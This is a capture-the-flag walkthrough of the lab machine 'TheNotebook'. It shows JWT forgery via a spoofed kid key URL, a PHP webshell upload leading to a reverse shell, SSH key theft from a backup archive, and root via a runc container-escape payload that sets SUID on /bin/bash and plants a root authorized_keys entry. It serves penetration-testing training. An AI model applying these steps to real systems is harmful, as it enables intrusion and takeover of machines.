TheNotebook

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.71.99  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 09:27 EDT
Nmap scan report for 10.129.71.99
Host is up (0.0081s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

Notebook -> JWT Spoof

The website is a notebook website:

We can create a new user because we don't have any credentials. Once created, we can login and view our notes, of which we have none:

When the requests are viewed in Burp, we can see that it uses a JWT token and a uuid parameter:

GET / HTTP/1.1
Host: 10.129.71.99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.71.99/70e7d57d-8987-4075-9a28-2c9075219c68/notes
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRlc3QxMjMiLCJlbWFpbCI6InRlc3RAd2Vic2l0ZS5jb20iLCJhZG1pbl9jYXAiOjB9.HOnHZHkqdPXbWn4LJrSgF4-DX0UXztaiQxefbsp0DteIvaQUtOMkAGgTvvZex0QU63vcrnXwQRTj5MLfMp1JyFHUWIS5J9slqqhXGsNNSOBQHmHlvptTLa8mvJCZJJAqymKCxGswa41Nu7hb20W3Ksi7iQSg9JcZoy9WeFV9lbEhBiSrler_H1LiSzkF-x4vegERnJiGkZ4hK_2LjVObeeY3ZCQcJWjCH3Cuo2YG1rVas4h0YBinnSq9ANvUsovpLolovsOUP4TNDPzIlccMjmhU0R_yhh5WItg0uG_PiQaACryT3G2_PYw5PRj_Dj5COrHtzYaT2NES2q54WecSJOWfD7RUW6o-yB4SFC_lJVqfqE3DljujJwGcOf8SP43kAf1z_VLGKuUkHceOsvU60aEDZDcgnJB4LTuIjqunIVzZ22lnlfHDGe1zJza8bpUVk-2xDDmqj1F3bBsCMQOXnmMmffBpSFPjsTyBwZM2F3kNEmopZiHr1S1UzeMolW98gzIrwGM8jx1lMOV76SNlK6vGP-q_UoFOg8F07aB6ClPqtbw83cyQZLn2kME40XDBzZgNgbzXmZXfnBg83mkWis9KQhOL8FJ3MPha7h0tfSnsiUXV2s7vATWXlrydpQL6gsWsuWt-cn6CQGEPAX0svar_9K8Pyd08NDJJpNdVfmg; uuid=70e7d57d-8987-4075-9a28-2c9075219c68
Upgrade-Insecure-Requests: 1

We can take a look at this cookie within jwt.io and see that it uses a private key hosted on the server.

The token is spoofable, similar to another machine Unicode. We can generate our own private key using openssl and use it to spoof the token by replacing the kid parameter with a link hosting the key instead. Also, we can change admin_cap to be 1.

openssl genrsa -out priv.key 2048

When we use this token after refreshing the page, we can see an Admin Panel present.

Then, we can view the notes of the administrator through Admin Panel > View Notes.

Conveniently, the first note reveals that PHP files are left executable on this website.

The admin panel also has an upload file feature:

I uploaded a basic PHP webshell, and the page shows this:

Using this, we can get RCE:

And subsequently, a reverse shell.

Privilege Escalation

We can't grab the user flag yet as noah owns it.

Home.tar.gz

I viewed the nginx configuration files:

www-data@thenotebook:/$ cat /etc/nginx/sites-available/default
server {
        listen 80 default_server;
        root /var/www/html;
        server_name _;
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
        }
        location / {
                proxy_pass http://127.0.0.1:8080/;
        }
}

There was nothing much there that was new. Within the /var/backups file, there was an extra file present:

www-data@thenotebook:/var/backups$ ls
apt.extended_states.0     apt.extended_states.2.gz  home.tar.gz
apt.extended_states.1.gz  apt.extended_states.3.gz

We can copy this folder to /dev/shm and open it there since we can't create new files within /var/backups.

www-data@thenotebook:/var/backups$ cp home.tar.gz /dev/shm
www-data@thenotebook:/var/backups$ cd /dev/shm
www-data@thenotebook:/dev/shm$ ls
home.tar.gz
www-data@thenotebook:/dev/shm$ tar -xvf home.tar.gz 
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub

We can grab the id_rsa file and ssh in as noah.

Sudo Privileges

We can check our sudo privileges:

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
noah@thenotebook:~$ docker --version
Docker version 18.06.0-ce, build 0ffa825

It seems that we can run docker as root. Googling for exploits pertaining to this version reveals a CVE that allows for RCE. This is caused by an outdated runc binary that is run from the container.

Download this repositroy, and we can change the payload run to something else:

var payload = "#!/bin/bash \n chmod u+s /bin/bash && echo 'KEY' >> /root/.ssh/authorized_keys"

Then we can run go build main.go to build it. Then, following the PoC, we can create a Docker container using the sudo command allowed.

sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash

Afterwards, within the container, run the main binary and it will hang:

root@0f4c2517af40:/opt/webapp# ./main 
[+] Overwritten /bin/sh successfully

On a second Window, we need to run the sudo command one more time, and on the Docker container, it would execute properly:

root@0f4c2517af40:/opt/webapp# ./main 
[+] Overwritten /bin/sh successfully
[+] Found the PID: 3292
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc00036e060}
[+] The command executed is#!/bin/bash 
 chmod u+s /bin/bash && echo 'KEY' >> /root/.ssh/authorized_keys

Then, we can just ssh into root.

Rooted!

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